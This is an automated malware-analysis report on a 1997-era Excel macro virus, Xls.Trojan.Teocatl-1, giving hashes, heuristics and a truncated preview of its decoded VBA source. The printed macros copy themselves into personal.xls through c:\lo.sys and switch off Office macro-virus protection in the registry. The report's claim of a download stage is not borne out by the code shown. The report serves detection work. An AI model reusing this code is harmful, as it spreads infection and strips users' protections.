Xls.Trojan.Teocatl-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 7cba1faf03e50bc7…

MALICIOUS

Office (OLE)

325.5 KB Created: 1997-09-02 21:16:05 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 6ae599c57fd9a74ac785f26880805b86 SHA-1: 6a76e8f49df481dd622cfb86db88f3e1fed0d3b5 SHA-256: 7cba1faf03e50bc7af1ed42a8cbcadb1a4b1ea362ff8b69771cff1329181e68c
360 Risk Score

Malware Insights

Xls.Trojan.Teocatl-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

This Excel document contains malicious VBA macros, including Auto_Open and Auto_Close functions, which are designed to execute automatically. The critical heuristic firing for Shell() calls and the detection of VBA p-code auto-execution with execution tokens indicate that the macro attempts to run external commands. The script attempts to import a file named 'lo.sys' into the 'personal.xls' workbook, suggesting it's part of a multi-stage attack designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Xls.Trojan.Teocatl-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Teocatl-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 642371 bytes
SHA-256: 1f7556f6c84217c64fccdee36b2d1206b74fc52dc2269f83d95e4ebf791cfc01
Detection
ClamAV: Xls.Trojan.Teocatl-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "syaDegnartS"
Sub Auto_Close()
On Error GoTo argh
Application.DisplayAlerts = False
Application.EnableCancelKey = xlDisabled

For i = 1 To Workbooks("personal.xls").VBProject.VBComponents.Count
If Workbooks("personal.xls").VBProject.VBComponents(i).Name = "StrangeDays" Then GoTo argh
Next i

With Workbooks("personal.xls").VBProject
With .VBComponents.Import("c:\lo.sys")
End With
End With

Workbooks("personal.xls").Save
argh:
End Sub

Attribute VB_Name = "StrangeDays"
Declare Function GetPrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpValue As String, ByVal lpFileName As String) As Long
Declare Function DeleteFileA Lib "kernel32.dll" (ByVal lpFileName As String) As Long
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Global Const REG_DWORD As Long = 4
Global Const REG_SZ As Long = 1
Global Const HKEY_CURRENT_USER As Long = &H80000001
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002

Dim k As Long
Dim s As Long
Dim u As Long
Dim a As Long
Dim b As String

Sub AutoClose()
On Error GoTo bah

b = String(3, 0)
s = 256
v$ = String$(s, 0)

Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
ShowVisualBasicEditor = False

u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Word\Options", 0, KEY_ALL_ACCESS, k)
u = RegSetValueExA(k, "EnableMacroVirusProtection", 0, REG_SZ, "0", 1)
u = RegCloseKey(k)
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Excel\Microsoft Excel", 0, KEY_ALL_ACCESS, k)
u = RegSetValueExA(k, "Options6", 0, REG_DWORD, Chr$(0), 4)
u = RegCloseKey(k)

Open "c:\lo.sys" For Input As 1
Close 1
GoTo godisasucker
bah:
Application.VBE.ActiveVBProject.VBComponents("StrangeDays").Export "c:\lo.sys"

godisasucker:
On Error GoTo godsucks
If ActiveDocument = "" Then GoTo teonanacatl
'''[WORD BEGIN]''''''''''''''''''''''''''''''''''
With Options
.VirusProtection = False
.SaveNormalPrompt = False
.ConfirmConversions = False
End With

ActiveDocument.ReadOnlyRecommended = False
'---------------------------
... (truncated)

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